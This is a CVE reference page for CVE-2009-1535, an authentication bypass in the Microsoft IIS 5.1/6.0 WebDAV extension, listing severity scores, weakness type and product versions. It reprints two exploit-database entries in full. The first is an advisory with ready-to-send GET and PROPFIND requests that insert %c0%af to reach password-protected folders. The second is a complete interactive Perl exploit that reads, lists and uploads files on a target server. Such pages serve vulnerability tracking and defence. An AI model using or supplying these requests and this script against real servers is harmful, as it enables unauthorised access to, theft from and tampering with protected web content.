CVE-2009-1535 : Detail

CVE-2009-1535

Authorization problems
A07-Identif. and Authent. Fail
69.86%V3
Network
2009-06-10
12h00 +00:00
2018-10-12
17h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The WebDAV extension in Microsoft Internet Information Services (IIS) 5.1 and 6.0 allows remote attackers to bypass URI-based protection mechanisms, and list folders or read, create, or modify files, via a %c0%af (Unicode / character) at an arbitrary position in the URI, as demonstrated by inserting %c0%af into a "/protected/" initial pathname component to bypass the password protection on the protected\ folder, aka "IIS 5.1 and 6.0 WebDAV Authentication Bypass Vulnerability," a different vulnerability than CVE-2009-1122.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-287 Improper Authentication
When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 8704

Publication date : 2009-05-14 22h00 +00:00
Author : kingcope
EDB Verified : Yes

#### # ##### #### # ##### ####### ### ###### ####### ###### ####### ######### ####### ######## ##################### ######### #### ######### ########## #### #### ###### ####### #### #### #### #### #### #### # ##### ######## ###### ###### ############################### # #### ############################## ####### ## # ## ###### ##### ### ## #### ##### ##### ######## #### ####### ## ##### #### # ######### #### ################# #### ##### #### ######## #### ################## ####### ##### #### ######### #### ##### ##### ################# #### #### #### #### ##### ##### ############## #### #### ##### ########## ############# #### ##### #### #### #### ########## ############ #### ##### ######### #### #### ##### #### #### ######### #### ######## #### #### ##### ############# ######## ##### ########### ##### ####### #### ####### #################### ##### ##### ## ####### ############ ##### #### ########### # ## ###### # ############## ## ############## ############# ##### ###### ##### ################# ############# ##### ###### ############ #### ###### # ######### #### #### #### ##### ######## #### ##### #### ########### ##### ###### ################## ########### ##### ##### ################# ############ ####### ######### ########### #### #### ############### ############# #### ######## ############# ########## #### ################ #### ###### ### ############### # ### archive: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8704.pdf (2009-IIS-Advisory.pdf) *** FOR IMMEDIATE RELEASE *** *** FOR IMMEDIATE RELEASE *** Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Discovered by Kingcope - May 12th, 2009 Affected Vendors Microsoft Affected Products Web Server Vulnerability Details This vulnerability allows remote attackers to bypass access restrictions on vulnerable installations of Internet Information Server 6.0. The specific flaw exists within the WebDAV functionality of IIS 6.0. The Web Server fails to properly handle unicode tokens when parsing the URI and sending back data. Exploitation of this issue can result in the following: Authentication bypass of password protected folders Listing, downloading and uploading of files into a password protected WebDAV folder Authentication bypass of password protected folders Assume there is a password protected folder in „d:\inetpub\wwwroot\protected\“. The password protection mechanism is not relevant for the attack to work. Inside this folder there is a file named „protected.zip“ The attacker sends a HTTP GET request to the web server. GET / %c0%af/protected/protected.zip HTTP/1.1 Translate: f Connection: close Host: servername As seen above the URI contains the unicode character '/' (%c0%af). This unicode character is removed in a WebDAV request. „Translate: f“ instructs the web server to handle the request using WebDAV. Using this malicious URI construct the webserver sends the file located at „/protected/protected.zip“ back to the attacker without asking for proper authentication. Another valid request an attacker might send to the web server is: GET /prot%c0%afected/protected.zip HTTP/1.1 Translate: f Connection: close Host: servername IIS 6.0 will remove the „%c0%af“ unicode character internally from the request and send back the password protected file without asking for proper credentials. ASP scripts cannot be downloaded in this way unless serving of script source-code is enabled. Listing files in a password protected WebDAV folder The attack on WebDAV folders is similar. The attacker can bypass the access restrictions of the password protected folder and list, download, upload and modify files. The attacker sends a PROPFIND request to the web server. PROPFIND /protec%c0%afted/ HTTP/1.1 Host: servername User-Agent: neo/0.12.2 Connection: TE TE: trailers Depth: 1 Content-Length: 288 Content-Type: application/xml <?xml version="1.0" encoding="utf-8"?> <propfind xmlns="DAV:"><prop> <getcontentlength xmlns="DAV:"/> <getlastmodified xmlns="DAV:"/> <executable xmlns="http://apache.org/dav/props/"/> <resourcetype xmlns="DAV:"/> <checked-in xmlns="DAV:"/> <checked-out xmlns="DAV:"/> </prop></propfind> IIS responds with the directory listing of the folder without asking for a password. Credit This vulnerability was discovered by: Nikolaos Rangos Contact: [email protected] Greetings to: alex and andi # milw0rm.com [2009-05-15]
Exploit Database EDB-ID : 8806

Publication date : 2009-05-25 22h00 +00:00
Author : ka0x
EDB Verified : Yes

#!/usr/bin/perl -W # # Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit # written by ka0x <ka0x01[alt+64]gmail.com> # Advisory: http://www.milw0rm.com/exploits/8765 # # Greets: an0de, Piker, xarnuz, NullWave07, Pepelux, k0rde, JoSs, Trancek and others! use IO::Socket ; my ( $host, $path ) = @ARGV ; my $port = 80 ; # webserver port &usage unless $ARGV[1] ; $host =~ s/http:\/\/// if($host =~ /^http:\/\//i) ; $path =~ s/\/// if(substr($path, 0,1) eq '/'); sub _file { $file = shift ; open(FILE, $file) || die "[-] ERROR: ".$!,"\n" ; while( <FILE> ){ $cont .= $_ ; } close(FILE) ; return $cont ; } print "write 'help' for get help list\n"; while( 1 ) { my $sock = IO::Socket::INET->new (PeerAddr => $host, PeerPort => $port, Proto => 'tcp') || die "\n[-] ERROR: ".$!,"\n" ; print "\$> "; chomp( my $option = <STDIN> ) ; last if $option eq 'quit' ; if($option eq 'source') { $path =~ s/\//%c0%af\// ; print $sock "GET /".$path." HTTP/1.1\r\n" ; print $sock "Translate: f\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock "Connection: close\r\n\r\n" ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'path') { $path =~ s/\//%c0%af\// ; print $sock "PROPFIND /".$path." HTTP/1.1\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock "Connection:close\r\n" ; print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ; print $sock "Content-Length: 0\r\n\r\n" ; print $sock '<?xml version="1.0" encoding="utf-8"?><D:propfind xmlns:D="DAV:"><D:prop xmlns:R="http://www.foo.bar/boxschema/"><R:bigbox/><R:author/><R:DingALing/><R:Random/></D:prop></D:propfind>' ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'put') { $path =~ s/\//%c0%af\// ; print "[*] Insert a local file (ex: /root/file.txt): " ; chomp( $local = <STDIN> ) ; $file_l = _file( $local ) ; print $sock "PUT /".$path."my_file.txt HTTP/1.1\r\n" ; print $sock "Host: ".$host."\r\n" ; print $sock 'Content-Type: text/xml; charset="utf-8"'."\r\n" ; print $sock "Connection:close\r\n" ; print $sock "Content-Length: ".length($file_l)."\r\n\r\n" ; print $sock $file_l,"\r\n" ; while(<$sock>){ print $_ ; } close($sock) ; } elsif($option eq 'help') { print "\n\t\t- OPTIONS -\n\n\n" ; print "\thelp\t\tgive this help list\n" ; print "\tsource\t\tget file content\n" ; print "\tpath\t\tget directory contents\n" ; print "\tput\t\tput file\n" ; print "\tquit\t\texit exploit\n\n" ; } } sub usage { print << 'EOH' ; $ Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit $ written by ka0x <ka0x01[at]gmail.com> $ 25/05/2009 usage: perl $0 <host> <path> example: perl $0 localhost dir/ perl $0 localhost dir/file.txt EOH exit; } __END__ # milw0rm.com [2009-05-26]

Products Mentioned

Configuraton 0

Microsoft>>Internet_information_services >> Version 5.1

Microsoft>>Windows_xp >> Version -

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_information_services >> Version 6.0

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_server_2003 >> Version -

Microsoft>>Windows_xp >> Version -

References

http://www.us-cert.gov/cas/techalerts/TA09-160A.html
Tags : third-party-advisory, x_refsource_CERT